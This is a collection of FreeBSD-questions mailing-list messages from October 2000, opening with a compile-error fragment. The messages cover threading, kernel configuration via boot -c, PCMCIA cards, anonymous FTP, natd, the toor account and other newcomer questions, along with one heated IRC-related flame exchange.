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2 -fno-exceptions -fno-check-new -Wall -pedantic -W -Wpointer-arith -Wmissing-pr
ototypes -Wwrite-strings -Wno-long-long -fno-builtin -O -pipe -DQT_CLEAN_NAMESPA
CE -DQT_NO_COMPAT -DQT_NO_ASCII_CAST  -c kbookmarkmenu.cc
c++ -DHAVE_CONFIG_H -I. -I. -I.. -I/usr/local/include -I/usr/X11R6/include/qt2 -
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kbookmarkmenu.cc:34: kdirnotify_stub.h: No such file or directory

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kbookmarkmenu.cc:310: `allDirNotify' undeclared (first use this function)
kbookmarkmenu.cc:310: (Each undeclared identifier is reported only once
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gmake[2]: *** [kbookmarkmenu.lo] Error 1
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Hello,

Please give your mail a subject next time, it makes it easier for us
to answer. :)

On Tue, Oct 31, 2000 at 08:24:29PM +0530, Suresh Kumar Gupta wrote:
> Hello,
>   I wnated to know a basic question is FreeBSD a MULTITHREADED OPERATING SYSTEM... we are having a big argument on this and we  would really like for someone to clarify our doubt

There's userland threads available in 4.x, and 5.x has a threaded kernel.

In 3.x, you had to install the linuxthreads package... that's probably
the source of the debate.

==ml

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* Robert Heron <robert@heron.pl> [20001031 16:37]:
=>Hi All,
=>
=>is it possbile to set serial ports (sio*) in FreeBSD to higher rates than
=>115.2Kbps? I have proper serial card, that supports rates at 230Kbps (ISA
=>card based on 16650 UARTs. IRQ and I/O address set by jumpers).


Search for SHSMOD on the web..I saw something there but never had time to
see howto use it....there is something for Unix...
It was somewhere at http://anjara.dna.fi/95serv/95serv.htm - where I
started ;-)


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* Zaven <grish27@yahoo.com> [20001031 16:28]:
=>Hi everyone who will read this mail. My question is how can I design the /etc/motd file or is there some programs that will help to design it?

I believe it is perfectly legal to replace what is there with your own
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Can I used a BSD RADIUS server to authenticate users via LAN and PPP?

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Ummm...
Not sure if I am looking to deeply into this...

Open up your favorite editor, such as vi, and edit it to your heart's
content...

shawn duffy

On Tue, 31 Oct 2000, Odhiambo Washington wrote:

> * Zaven <grish27@yahoo.com> [20001031 16:28]:
> =>Hi everyone who will read this mail. My question is how can I design the /etc/motd file or is there some programs that will help to design it?
> 
> I believe it is perfectly legal to replace what is there with your own
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That is the proper behavior.  The kernel configurator (boot -c) is a one
time thing.  It is meant to be able to disable certain things for testing
and such.   To make it permanent, you have to create a new kernel.

						Tim


On Tue, 31 Oct 2000, Sergey Gorbunov wrote:

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> Hello
> after i change kernel (boot -c >visual > quit+ save) all orderly, but after
> rebooting kernel forgets all changes
> 
> help please
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* Viktor A. Fomichev <vfom@sice.ru> [20001031 09:10]:
=>Hi!
=>
=>It seems, a bug exist in resolver implementation since 4.1.
=>I have a small private network with internal DNS. (no relations with
=>internet).
=>Name server is 192.168.10.130. Domain name is my.domain.com
=>
=>At host bsd.my.domain.com : 
=>
=>No local named daemon. 
=>No ipv6 in kernel. 
=>No lkm's. (All i need compiled in kernel. Other moduler removed.)
=>
=>/etc/resolv.conf
=>        #
=>	nameserver 192.168.10.130
What about with nameserver 127.0.0.1 added to resolv.conf on ns ?? What is
the
behaviour?


=>	#
=>/etc/host.conf
=>	#
=>	hosts
=>	bind
=>	#
=>/etc/hosts
=>        #
=>	127.0.0.1	locahost
=>	192.168.10.205	bsd.my.domain.com bsd
=>	192.168.10.130  ns.my.domain.com ns
=>	#
=>
=>% uname -a
=>FreeBSD bsd.my.domain.com 4.1-RELEASE FreeBSD 4.1-RELEASE #1: Thu Oct 26
=>00:54:45 NOVST 2000
=>root@bsd.my.domain.com:/usr/src/sys/compile/MY_HOST  i386
=>
=>% nslookup somehost
=>Server:  ns.my.domain.com
=>Address:  192.168.10.130
=>
=>Name:    somehost.my.domain.com
=>Address:  192.168.10.110
=>
=>%ping somehost
=>ping: cannot resolve somehost: Unknown host
=>
=>%
=>
=>Using ethereal i intecept DNS traffic generated by above 
=>mentioned commands.
=>Host send identical requests for the first and second commands.
=>NS server send identical reply for the first and second DNS requests!
=>(only transaction IDs different)
=>
=>Whats the matter?
=>
=>The same problem exists in 4.1.1-RELEASE
=>The same problem was detected while using PERL's gethostbyname.
=>
=>By.
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The FAT* file system does not support permissions.

On Tue, 31 Oct 2000 degraz@sbohm.yi.org wrote:

> I have a second hard drive in my FreeBSD box, running release 4.1.1.  
> I have added the drive to /etc/fstab with the following line:
> 
> /dev/ad3s1 /server_root msdos rw 1 1
> 
> I have also tried 0 0, and 2 2 for the Dump and Pass#.  I'll admit I have no real basis for this, other than the fact that the other partitions used 2 2, except root..
> 
> The partition mounts fine, I can read and write from root, but I absolutely cannot change the file permissions or own of any of the files.  I have tried chmod from root, repeated, and get nothing.  Is is not possible to change the permissions of a drive
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Hi,
I am new in FreeBSD and have a small (or not) problem.
I installed 4.0-Release to 4-stable upgrade kit  and ports collection,
but  I get:

Error: your port uses an old layout.  Please update it to match this
bsd.port.mk.
*** Error code 1

Stop in /usr/ports/archivers/zip.
*** Error code 1

Stop in /usr/ports/archivers/zip.
*** Error code 1

Stop in /usr/ports/archivers/zip.
*** Error code 1

Stop in /usr/ports/archivers/zip.
*** Error code 1

Stop in /usr/ports/archivers/zip.

What must I do?

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Much of this is in the handbook, but a very good reference for deep
internals is the book:
"The Design and implementation of the 4.4BSD Operating System" By Kirk
Mckusick

It really does go into the details and would answer your question.
Good luck,
						Tim

On Tue, 31 Oct 2000, Thiyagarajan M-RollNo.99087 wrote:

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> ,i have to do a case study of any sub part of any OS ( FreeBSD) 
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Send me your PII 300Mhz class machine, with Sis 5598.  I'll reboot with my size
11s.  Seriously, I hate SiS cards in regards to running with X.  Go find a cheap
S3 based card or something along those lines.  Then load the right server,
you'll be fine

> -----Original Message-----
> From:	Charlie Root [SMTP:root@takiweb.yi.org]
> Sent:	Tuesday, October 31, 2000 8:42 AM
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> Subject:	pissed!!!
> 
> Dear freebsd.org,
>    I am PISSED!!! I used to be a winblows user, converted to Linux, and
> ran OpenBSD for a few months. But since I've installed the $49.99
> CompUSA boxed version of FreeBSD 4.0, when I run startx my system
> crashes! Is this what you consider to be "rock-solid stability??" 
> Sometimes when I run startx, I get X to work. The other times, my
> system crashes to a point where I need to do a physical powerdown
> of my machine, cause even ctrl-alt-del wont work. 
>    I have a pentium 2 300MHz class machine, with an SiS 5598
> video board. Nobody in the chat rooms knows anything about what I'm
> talking about. And I am PISSED!!! OpenBSD was working great (even via an
> ftp install!) But no, FreeBSD wants to be the luser in my box!!
> What should I do to fix this problem???
> Please email me with the fix!
> 
> 
> 
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From owner-freebsd-questions  Tue Oct 31  7:39:45 2000
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Subject: Re: FreeBSD on IRC? Anywhere?
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> I didn't realize I was acting like a child, simply stating opinion,
> if you don't like that, tough **** to you as well. I don't think it's
> a stretch to go to a named channel which to most people would indicate
> that discussions about FreeBSD happen in (such as #FreeBSD) and ask
> for specific information which doesn't fall into your "usual newbie
> questions".

There are technical discussions in #FreeBSD.  Apparently your technical
discussion sounded a little too much like a standard "help me setup
X-Windows" or "is Linux better than FreeBSD" kind of technical discussion.

> But I guess that logic escapes you. You do have one valid point however,
> I should have read the FAQ and saved myself the time and effort of
> dealing with the patronage in #FreeBSD and replying to people like you.

There you go.  You're in the wrong.  And yet you still feel the need to sink
your little barbs.  Whatever.

> You assume too much. I don't think I have the "right" to tell anyone
> to do anything, much less then how to run "their" channel.

Oh, so you don't have a right to tell someone how to run their channel, you
just bad-mouth them on the mailing list.

> No matter, I found a decent FreeBSD channel where I can go to have
> intelligent conversations with people on my wavelength.

Yeah, enjoy Dalnet, that's where all the rest of the self-rightous morons
like you hang out anyway.

> (PS: don't bother replying, I really have no wish to continue this
> discussion with you simply because you cannot carry a conversation
> on in a civilized manner, any replies >/dev/null)

You bad mouth the ops of the channel, sink countless barbs, accuse me of
flaming you, then pull the little kid's trick of throwing your hands over
their ears and having the last word ?  That is truly pathetic.  No wonder
you had problems in #FreeBSD.

Oh, and it's not like you unsubscribed from questions- and aren't going to
recieve this email you moron.




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From owner-freebsd-questions  Tue Oct 31  7:40:56 2000
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Greetings,

I'm pretty new to FreeBSD and recently installed it on my Dell 7500 laptop
(previously installed it on a mini-tower for web-server role).

I'm trying to use the following pcmcia cards on my laptop and have had no
luck under 4.1.1-REL and 5-current:

3c589
3c575
3crw737a (AirConnect wireless)

The 3c589 (i think) should be the easiest one to get working but under
4.1.1-rel when I assign it an ip address with ifconfig, the link light on
the card goes from solid to blinking - everything looks right (as far as I
can tell)

Under 5-current, no luck with the 3c575 but I think that's due to ignorance
(of a larger nature ;) 
For 5-current, I'm using the NEWCARD config file as a template but am unsure
of what drivers to comment/leave in place for cardbus support.
Also I have little/no clue on the device.hints file and just copied
NEWCARD.hints to /boot/device.hints (least my 5-current kernel boots :).
But beyond that, I can't tell where to put in 3c575 config info to have it
recognize the card; it detects the inset but gives the hex id info but I
need to tie that to the pccard.conf file? And should this file sit in the
/etc/default dir or go into /etc ?

If there's any good reference docs for pcmcia/pccard support for 4.1.1-REL
and/or 5-current, I'd love to know about them.

I'm new to FreeBSD but already love the security and cvs-update features
over redhat linux (7.0 my prime motivator for the switch). PCMCIA support is
my only gripe - it seems limited over redhat's driver support. (Cardbus
being the limit I guess).

Any/all help greatly appreciated!

Greg B.



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> Looks pretty good except for one big problem, you are trying to use a
> single interface. natd(8) is designed to be used with multiple
> interfaces. It does not work well with one. Each packet will go
> through natd(8) twice and this tends to really confuse it.

Hmm.  I won't presume to say you're wrong, but I've done natd on a single
interface in three different setups, and they run perfectly.  Of course you
would want to make sure your router, modem, dsl device, etc wasn't going to
accept any non-routable IP packets, especially if you're using IP based
security like in Samba.

> There are other problems with this scheme. First, if you were planning
> to later add firewall rules for security, they will offer little
> protection since your machines are still naked on the net. Second, you
> are likely going to be leaking your "private" address traffic onto
> your LAN (and from there who knows where it may get routed).

Why would anything route a 10.0.0.x or 192.168.x.x ?  I'm not contradicting
you, I'm curious.





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At 18:08 31/10/00 +0300, you wrote:
>* Zaven <grish27@yahoo.com> [20001031 16:28]:
>=3D>Hi everyone who will read this mail. My question is how can I design=
 the=20
>/etc/motd file or is there some programs that will help to design it?
>

Just use a text editor (vi, ee, or any other.)


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> On Tue, 31 Oct 2000, Sergey Gorbunov wrote:
> 
> > Hello
> > after i change kernel (boot -c >visual > quit+ save) all orderly, but after
> > rebooting kernel forgets all changes
> > 
* Tim McMillen <timcm@umich.edu> [001031 07:12] wrote:
> 
> 
> That is the proper behavior.  The kernel configurator (boot -c) is a one
> time thing.  It is meant to be able to disable certain things for testing
> and such.   To make it permanent, you have to create a new kernel.

You can set these parameters permanently by adding them to
/boot/kernel.conf

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> Hello--
>
> Boot.flp is too big to fit into a 1.44 Mb floppy! despite what the FAQ
> says. I get only around 1457664 bytes of free space after formatting a
> 1.44 MB floppy diskette on WindowsNT! What do I do to get around this
> problem? Create 2 diskettes? if so how do I do it, the fdimage program
> doesn't give any explicit options for usage.
>
> And for doing an FTP install of (freeBSD 4.1.1-RELEASE on i386) do I
> really need boot.flp?? or is kern.flp and mfsroot.flp enough?

heh.  there's two options.  if you have a 2.88 meg floppy drive, boot.flp is
for you.  If you don't, it's kern.flp, then mfsroot.flp when prompted.




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* Dan Cuthbert <daniel.cuthbert@uk.psi.com> [001031 06:26] wrote:
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> I dont see a problem as long as you support the project and buy the
> cd's (that way everyone is happy)

You don't even need to do that.

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Hi Folks,
Some questions re: FreeBSD installs.
I've just installed 4.1 from the CD-Rom dated August. Is that considered
the "stable"? We installed the "X with kernel sources" selection
with no extras save linux and 3.2 binary compatability. 

During the install the disk format routine would only allow 4 partitions
(9gb SCSI on adaptec 2940) - anything further was given the device entry
"X"

After boot and  kernel rebuild (for dual cpus ), we can't mount the
CDROM for 
additional package installs (from /stand/sysinstall) - we get the error
- "bad super block"

We have several FreeBSD systems, now spanning 3.2->4.1. I'm curious what
schemes people are using to keep a group of systems updated as
painlessly
as possible. There are 3 fronts: The system software, the packages and
the ports that we'd like to be able to keep synced among the systems.
What has been successful?

thanks,
hurf
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Well, if you want to meet some good people in a IRC Channel, just go on=20
dalnet (irc.dal.net) and join the channel #bsd. well run with competent=
 people.

At 07:41 31/10/00 -0800, you wrote:
> > I didn't realize I was acting like a child, simply stating opinion,
> > if you don't like that, tough **** to you as well. I don't think it's
> > a stretch to go to a named channel which to most people would indicate
> > that discussions about FreeBSD happen in (such as #FreeBSD) and ask
> > for specific information which doesn't fall into your "usual newbie
> > questions".
>
>There are technical discussions in #FreeBSD.  Apparently your technical
>discussion sounded a little too much like a standard "help me setup
>X-Windows" or "is Linux better than FreeBSD" kind of technical discussion.
>
> > But I guess that logic escapes you. You do have one valid point however,
> > I should have read the FAQ and saved myself the time and effort of
> > dealing with the patronage in #FreeBSD and replying to people like you.
>
>There you go.  You're in the wrong.  And yet you still feel the need to=
 sink
>your little barbs.  Whatever.
>
> > You assume too much. I don't think I have the "right" to tell anyone
> > to do anything, much less then how to run "their" channel.
>
>Oh, so you don't have a right to tell someone how to run their channel, you
>just bad-mouth them on the mailing list.
>
> > No matter, I found a decent FreeBSD channel where I can go to have
> > intelligent conversations with people on my wavelength.
>
>Yeah, enjoy Dalnet, that's where all the rest of the self-rightous morons
>like you hang out anyway.
>
> > (PS: don't bother replying, I really have no wish to continue this
> > discussion with you simply because you cannot carry a conversation
> > on in a civilized manner, any replies >/dev/null)
>
>You bad mouth the ops of the channel, sink countless barbs, accuse me of
>flaming you, then pull the little kid's trick of throwing your hands over
>their ears and having the last word ?  That is truly pathetic.  No wonder
>you had problems in #FreeBSD.
>
>Oh, and it's not like you unsubscribed from questions- and aren't going to
>recieve this email you moron.
>
>
>
>
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> -On [20001031 08:30], Sean Kelly (smkelly@zombie.org) wrote:
> >I was talking with some people who were installing FreeBSD, and they were
> >instructed to remove the 'toor' entry in the password file.  I was just
> >curious, what exactly is the point to having a 'toor' with uid 0?
>
> To have a backup root account.
>
> toor = root spelled backwards in case people didn't notice yet.


Yeah, as in ToorCon http://www.toorcon.com





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Hi there.

I'm running
- FreeBSD-4.1.1-STABLE
- X 3.3.6 (??? not sure...)
- Gnome
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but when opening a web page with fonts bigger than 4pt
it only shows those fonts with a size of 4pt

Do I need to install a font server?

Please also reply to my mailbox, as I'm not on the list...

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Hi all

I have been trying to get into the sendmail FTP site =
(ftp://ftp.sendmail.org/pub/sendmail/sendmail.8.11.1.tar.gz) through the =
FreeBSD shell prompt but i have been unable to do so as it asks me for a =
password, I have been into this ftp site using IE5 and have had no =
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I want to know if somebody have experience with this controller.

My experience with FreeBSD 4.1 and this controler is very sort: <unknow
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Thank you very much for any idea for help me.

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Can Freebsd 4.1.1 handle the diamondMaxtor Max 60gig drive? It will be added
as a second drive..for storage only.

anyone?




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Have you tried logging in as anonymous and sending your email address as
your password?

shawn

On Tue, 31 Oct 2000, Oliver Mills wrote:

> Hi all
> 
> I have been trying to get into the sendmail FTP site (ftp://ftp.sendmail.org/pub/sendmail/sendmail.8.11.1.tar.gz) through the FreeBSD shell prompt but i have been unable to do so as it asks me for a password, I have been into this ftp site using IE5 and have had no dificulty what so ever.
> 
> Please help!
> 
> Regards
> 
> Oliver Mills
> 



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On Tue, 31 Oct 2000, Oliver Mills wrote:

> I have been trying to get into the sendmail FTP site
> (ftp://ftp.sendmail.org/pub/sendmail/sendmail.8.11.1.tar.gz) through
> the FreeBSD shell prompt but i have been unable to do so as it asks me
> for a password, I have been into this ftp site using IE5 and have had
> no dificulty what so ever.

Use username anonymous, password is your e-mail address; that is
standard anonymous FTP. Micro$oft IE does this automatically.

G
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The 3C575, I can tell you about.  The only drivers 3com buried (and occasionally
moves around) in their site are written for Linux.  Since it's 3Com and not one
of the FBSD devotees that wrote the code, chances are you won't get the source
to port it.  Maybe you can fudge with linux compatibility, I don't know about
that part

	-----Original Message-----
	From:	Greg Berenfield [SMTP:gberenfield@berenfield.com]
	Sent:	Tuesday, October 31, 2000 10:53 AM
	To:	freebsd-questions@freebsd.org
	Subject:	PCMCIA/PC-Card support

	Greetings,

	I'm pretty new to FreeBSD and recently installed it on my Dell 7500
laptop
	(previously installed it on a mini-tower for web-server role).

	I'm trying to use the following pcmcia cards on my laptop and have had
no
	luck under 4.1.1-REL and 5-current:

	3c589
	3c575
	3crw737a (AirConnect wireless)

	The 3c589 (i think) should be the easiest one to get working but under
	4.1.1-rel when I assign it an ip address with ifconfig, the link light
on
	the card goes from solid to blinking - everything looks right (as far as
I
	can tell)

	Under 5-current, no luck with the 3c575 but I think that's due to
ignorance
	(of a larger nature ;) 
	For 5-current, I'm using the NEWCARD config file as a template but am
unsure
	of what drivers to comment/leave in place for cardbus support.
	Also I have little/no clue on the device.hints file and just copied
	NEWCARD.hints to /boot/device.hints (least my 5-current kernel boots :).
	But beyond that, I can't tell where to put in 3c575 config info to have
it
	recognize the card; it detects the inset but gives the hex id info but I
	need to tie that to the pccard.conf file? And should this file sit in
the
	/etc/default dir or go into /etc ?

	If there's any good reference docs for pcmcia/pccard support for
4.1.1-REL
	and/or 5-current, I'd love to know about them.

	I'm new to FreeBSD but already love the security and cvs-update features
	over redhat linux (7.0 my prime motivator for the switch). PCMCIA
support is
	my only gripe - it seems limited over redhat's driver support. (Cardbus
	being the limit I guess).

	Any/all help greatly appreciated!

	Greg B.



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At 16:07 31/10/00 +0000, you wrote:

Use annonymous FTP.
(as login)

>Hi all
>
>I have been trying to get into the sendmail FTP site=20
>(<ftp://ftp.sendmail.org/pub/sendmail/sendmail>ftp://ftp.sendmail.org/pub/s=
endmail/sendmail.8.11.1.tar.gz)=20
>through the FreeBSD shell prompt but i have been unable to do so as it=20
>asks me for a password, I have been into this ftp site using IE5 and have=
=20
>had no dificulty what so ever.
>
>Please help!
>
>Regards
>
>Oliver Mills

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I have an HP Netserver LC2000 (Serverworks chipset, Symbios SCSI) that I
seem to be able to install FreeBSD to from a bootable CD (4.1.1 ISO) but I
cannot seem to get it to boot after the installation is over.

I have a single harddisk in the #1 hotswap tray.  I've made it boot from DOS
and Windows 2000, so I'm pretty sure there's no hardware setting that I'm
missing.

Is there any way to create a boot floppy that can boot an arbitrary kernel?
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> -----Original Message-----
> From: owner-freebsd-questions@FreeBSD.ORG
> [mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of Alfred Perlstein
> Sent: Tuesday, October 31, 2000 8:47 PM
> To: Tim McMillen
> Cc: Sergey Gorbunov; Freebsd-Questions
> Subject: Re: freebsd 4.0 kernel config
>
>
> > On Tue, 31 Oct 2000, Sergey Gorbunov wrote:
> >
> > > Hello
> > > after i change kernel (boot -c >visual > quit+ save) all
> orderly, but after
> > > rebooting kernel forgets all changes
> > >
> * Tim McMillen <timcm@umich.edu> [001031 07:12] wrote:
> >
> >
> > That is the proper behavior.  The kernel configurator (boot -c) is a one
> > time thing.  It is meant to be able to disable certain things
> for testing
> > and such.   To make it permanent, you have to create a new kernel.
>
> You can set these parameters permanently by adding them to
> /boot/kernel.conf

Ok, but i want to buil kernel with many devices (some of devices are
incompatible with other)
later i install my kernel in one server and enable some devices and install
in another server and
enable other devices
presently I have a customised  distribution FreeBSD 2.2.6 and in visual
configuration I can correct all that want and this will remain for ever but
I want to do such distribution from version 4.0

>
> --
> -Alfred Perlstein - [bright@wintelcom.net|alfred@freebsd.org]
> "I have the heart of a child; I keep it in a jar on my desk."
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I recently installed FreeBSD 4.0 on an i386 box, 128M, 30G drive.

I devote one desktop of WindowMaker to a iplog messages. The problem I am
having is iplog is just dying. No message to any logs or anything. It logs
for a little while and just stops.

The command I use to start it is:

iplog --udp=true --tcp=true --icmp=true -l /var/log/iplog.log

It starts fine and that shows in the logs and it logs for a little while 
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* Sergey Gorbunov <freebsd@rest.ru> [001031 08:17] wrote:
> 
> > -----Original Message-----
> > From: owner-freebsd-questions@FreeBSD.ORG
> > [mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of Alfred Perlstein
> > Sent: Tuesday, October 31, 2000 8:47 PM
> > To: Tim McMillen
> > Cc: Sergey Gorbunov; Freebsd-Questions
> > Subject: Re: freebsd 4.0 kernel config
> >
> >
> > > On Tue, 31 Oct 2000, Sergey Gorbunov wrote:
> > >
> > > > Hello
> > > > after i change kernel (boot -c >visual > quit+ save) all
> > orderly, but after
> > > > rebooting kernel forgets all changes
> > > >
> > * Tim McMillen <timcm@umich.edu> [001031 07:12] wrote:
> > >
> > >
> > > That is the proper behavior.  The kernel configurator (boot -c) is a one
> > > time thing.  It is meant to be able to disable certain things
> > for testing
> > > and such.   To make it permanent, you have to create a new kernel.
> >
> > You can set these parameters permanently by adding them to
> > /boot/kernel.conf
> 
> Ok, but i want to buil kernel with many devices (some of devices are
> incompatible with other)
> later i install my kernel in one server and enable some devices and install
> in another server and
> enable other devices
> presently I have a customised  distribution FreeBSD 2.2.6 and in visual
> configuration I can correct all that want and this will remain for ever but
> I want to do such distribution from version 4.0

Whatever you set during the initial install should be written to
/boot/kernel.conf, if you want to later change that configuration
you'll need to update /boot/kernel.conf

-Alfred


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I'm a newbie myself but I'll take a stab at some of these.

> -----Original Message-----
> From: Hurf Sheldon [mailto:hurf@Graphics.Cornell.EDU]
> Sent: Tuesday, October 31, 2000 7:48 AM
> To: freebsd-questions@FreeBSD.ORG
> Subject: BSD Stable from 4.1 CD-ROMS?
>
>
> Hi Folks,
> Some questions re: FreeBSD installs.
> I've just installed 4.1 from the CD-Rom dated August. Is that
> considered
> the "stable"? We installed the "X with kernel sources" selection
> with no extras save linux and 3.2 binary compatability.

STABLE is a work in progress that is continually updated with code from
CURRENT that has been tested and deemed STABLE.  You installed the 4.1
RELEASE which is merely a "snapshot" of STABLE as it was at that time.

> During the install the disk format routine would only allow 4
> partitions
> (9gb SCSI on adaptec 2940) - anything further was given the
> device entry
> "X"

I don't know.

> After boot and  kernel rebuild (for dual cpus ), we can't mount the
> CDROM for
> additional package installs (from /stand/sysinstall) - we get
> the error
> - "bad super block"

I used to get this as well but I solved the problem by mounting the CD
before running /stand/sysinstall.  I think the command is just "mount
/cdrom".

> We have several FreeBSD systems, now spanning 3.2->4.1. I'm
> curious what
> schemes people are using to keep a group of systems updated as
> painlessly
> as possible. There are 3 fronts: The system software, the packages and
> the ports that we'd like to be able to keep synced among the systems.
> What has been successful?

I haven't tried this but others have suggested running CVSup on one machine
(usually your fastest) and making your world there.  Then you can link your
other machines to the sources one the CVSup machine via NFS.

> thanks,
> hurf

You're welcome,

Drew



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Hello,

Does anyone know if it's possible?
I tried searching for it, but didn't find a thing.

Perhaps there's some translator which translates from sane language to
sendmail.cf language, so I can write my ruleset? :)

What I'm trying to do is to rewrite the outgoing mail sender addresses.
(Security through obscurity :)
What ruleset do I need to modify? Is it ruleset 4?

I'll appreciate your comments and/or links, thanks in advance.

P.S. I guess that it's possible using other MTA as well, but I'm primarily
interested in sendmail.

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* France Gerson Bala <fgbullet2@hotmail.com> [20001031 18:11]:
=>
=>Can I used a BSD RADIUS server to authenticate users via LAN and PPP?

I am doing that using RADIUS from lucent technologies.

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I am creating a fax cover page and a form page in html
and I want to print them from netscape, then
send them through hylafax. I would like them separated
into separate documents.

I could print them separately to 2 files then send both, but that
seems cumbersome to do over and over.

Is it possible to create a page break in the netscape-created
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Hello,

Ok i had the STABLE files burned onto cd for use later on or to bring
another computer up to STABLE.  I guess i burned the cd the wrong way.  It
just can't make build world from it on my other machine.  It says stop
don't know how to make obj.  Anyway.  i RE-Cvsupped the files  they are in
/usr/src.  Could someone please step me through the right way to burn these
onto a cdrw and how to bring another computer up to STABLE 4.1.1 from the
cdrw?

my devices are  /dev/acd0c  (cdrom) /dev/acd1c (cd-rw hp9100)

Thank you from Texas

Matt




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* Matt Bettinger <mattb@finsyn.com> [20001031 19:50]:
=>Hello,
=>
=>Ok i had the STABLE files burned onto cd for use later on or to bring
=>another computer up to STABLE.  I guess i burned the cd the wrong way.  It
=>just can't make build world from it on my other machine.  It says stop
=>don't know how to make obj.  Anyway.  i RE-Cvsupped the files  they are in
=>/usr/src.  Could someone please step me through the right way to burn these
=>onto a cdrw and how to bring another computer up to STABLE 4.1.1 from the
=>cdrw?

I'm sure there is absolutely no need to do this.....since the sources keep
on being updated and this is therefore not the last 'stabilization' that
there ever shall be!


-Wash

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> -----Original Message-----
> From: Alfred Perlstein [mailto:bright@wintelcom.net]
> Sent: Tuesday, October 31, 2000 9:32 PM
> To: Sergey Gorbunov
> Cc: Tim McMillen; Freebsd-Questions
> Subject: Re: freebsd 4.0 kernel config
>
>
> * Sergey Gorbunov <freebsd@rest.ru> [001031 08:17] wrote:
> >
> > > -----Original Message-----
> > > From: owner-freebsd-questions@FreeBSD.ORG
> > > [mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of
> Alfred Perlstein
> > > Sent: Tuesday, October 31, 2000 8:47 PM
> > > To: Tim McMillen
> > > Cc: Sergey Gorbunov; Freebsd-Questions
> > > Subject: Re: freebsd 4.0 kernel config
> > >
> > >
> > > > On Tue, 31 Oct 2000, Sergey Gorbunov wrote:
> > > >
> > > > > Hello
> > > > > after i change kernel (boot -c >visual > quit+ save) all
> > > orderly, but after
> > > > > rebooting kernel forgets all changes
> > > > >
> > > * Tim McMillen <timcm@umich.edu> [001031 07:12] wrote:
> > > >
> > > >
> > > > That is the proper behavior.  The kernel configurator (boot
> -c) is a one
> > > > time thing.  It is meant to be able to disable certain things
> > > for testing
> > > > and such.   To make it permanent, you have to create a new kernel.
> > >
> > > You can set these parameters permanently by adding them to
> > > /boot/kernel.conf
> >
> > Ok, but i want to buil kernel with many devices (some of devices are
> > incompatible with other)
> > later i install my kernel in one server and enable some devices
> and install
> > in another server and
> > enable other devices
> > presently I have a customised  distribution FreeBSD 2.2.6 and in visual
> > configuration I can correct all that want and this will remain
> for ever but
> > I want to do such distribution from version 4.0
>
> Whatever you set during the initial install should be written to
> /boot/kernel.conf, if you want to later change that configuration
> you'll need to update /boot/kernel.conf
>
> -Alfred
>

what to do so that change under boot -c were written in /boot/cernel.conf
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* Sergi Callau <sergi.callau@aidware.com> [20001031 13:06]:
=3D>Hello,
=3D>=20
=3D>My telco (Telefonica Spain) had come and installed a 3Com OfficeConnect=
=20
ADSL Modem PCI in my computer. It runs well in Windows 98/NT and  they=20
have recently released drivers for Windows 2000 also.=20
=3D>=20
=3D>I want to install FreeBSD on this machine and use it like firewall, ftp=
 and=20
web server for give access to my SOHO materials (files, printers, fax, mail=
=85).=20
I=92m not making a professional website for getting many users, just a litt=
le=20
team in an intranet.=20
=3D>=20
=3D>I=92m working very closely with your recently opened office in Spain an=
d=20
I=92m translating the materials to Spanish, and I will probably do more thi=
ngs for them. I want to use and know BSD products. It would be very nice if=
 I could use this card and be not obligated to buy a=20
external router box.
=3D>=20
=3D>If you need it there you can find more information about this ADSL card=
: in=20
http://www.3com.com/products/dsheets/400435.html <http://www.3com.com/produ=
cts/
dsheets/400435.html> . It is the 3Com Model # 3CP3617.
=3D>=20
=3D>Any kind of help will be very appreciated.

It all takes you to the handbook at www.freebsd.org/handbook
Look at the Section - "Supported Hardware" and see if there is something
about your device. If it is there...;-)

=3D>Please don=92t hesitate to contact me if you have any query,

HTH


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I am new to FreeBSD. I use the menu to install, but are unable to specify
that I want to install from outside our network.

The problem is that the option to use an FTP proxy without using passive FTP
is unavailable. I have installed over NFS from a CDROM and that worked fine.
Afterwards I set FTP_PROXY and unset PASSIVE_FTP (sorry if variable name is
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I also have problems setting the keyboard map. The script which does this on
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Is apache already installed in FreeBSD??

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That card will be supported by the cardbus code once it's finished being
tested in -CURRENT. It will just use the if_xl driver for it's actual
driveer code, but there is no cardbus yet in -STABLE, so that's why it's
not being detected.



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On Tue, 31 Oct 2000, Potts, Ross wrote:

> The 3C575, I can tell you about.  The only drivers 3com buried (and occasionally
> moves around) in their site are written for Linux.  Since it's 3Com and not one
> of the FBSD devotees that wrote the code, chances are you won't get the source
> to port it.  Maybe you can fudge with linux compatibility, I don't know about
> that part
> 
> 	-----Original Message-----
> 	From:	Greg Berenfield [SMTP:gberenfield@berenfield.com]
> 	Sent:	Tuesday, October 31, 2000 10:53 AM
> 	To:	freebsd-questions@freebsd.org
> 	Subject:	PCMCIA/PC-Card support
> 
> 	Greetings,
> 
> 	I'm pretty new to FreeBSD and recently installed it on my Dell 7500
> laptop
> 	(previously installed it on a mini-tower for web-server role).
> 
> 	I'm trying to use the following pcmcia cards on my laptop and have had
> no
> 	luck under 4.1.1-REL and 5-current:
> 
> 	3c589
> 	3c575
> 	3crw737a (AirConnect wireless)
> 
> 	The 3c589 (i think) should be the easiest one to get working but under
> 	4.1.1-rel when I assign it an ip address with ifconfig, the link light
> on
> 	the card goes from solid to blinking - everything looks right (as far as
> I
> 	can tell)
> 
> 	Under 5-current, no luck with the 3c575 but I think that's due to
> ignorance
> 	(of a larger nature ;) 
> 	For 5-current, I'm using the NEWCARD config file as a template but am
> unsure
> 	of what drivers to comment/leave in place for cardbus support.
> 	Also I have little/no clue on the device.hints file and just copied
> 	NEWCARD.hints to /boot/device.hints (least my 5-current kernel boots :).
> 	But beyond that, I can't tell where to put in 3c575 config info to have
> it
> 	recognize the card; it detects the inset but gives the hex id info but I
> 	need to tie that to the pccard.conf file? And should this file sit in
> the
> 	/etc/default dir or go into /etc ?
> 
> 	If there's any good reference docs for pcmcia/pccard support for
> 4.1.1-REL
> 	and/or 5-current, I'd love to know about them.
> 
> 	I'm new to FreeBSD but already love the security and cvs-update features
> 	over redhat linux (7.0 my prime motivator for the switch). PCMCIA
> support is
> 	my only gripe - it seems limited over redhat's driver support. (Cardbus
> 	being the limit I guess).
> 
> 	Any/all help greatly appreciated!
> 
> 	Greg B.
> 
> 
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That doesn't really help me out.  The reason behind burning to a cd if you
need to know is i am currently on a slow connection and  when a computer
gets hosed for whatever reason  cvsupping the 4.1.1
STABLE is anything but less than painless.


>I'm sure there is absolutely no need to do this.....since the sources keep
>on being updated and this is therefore not the last 'stabilization' that
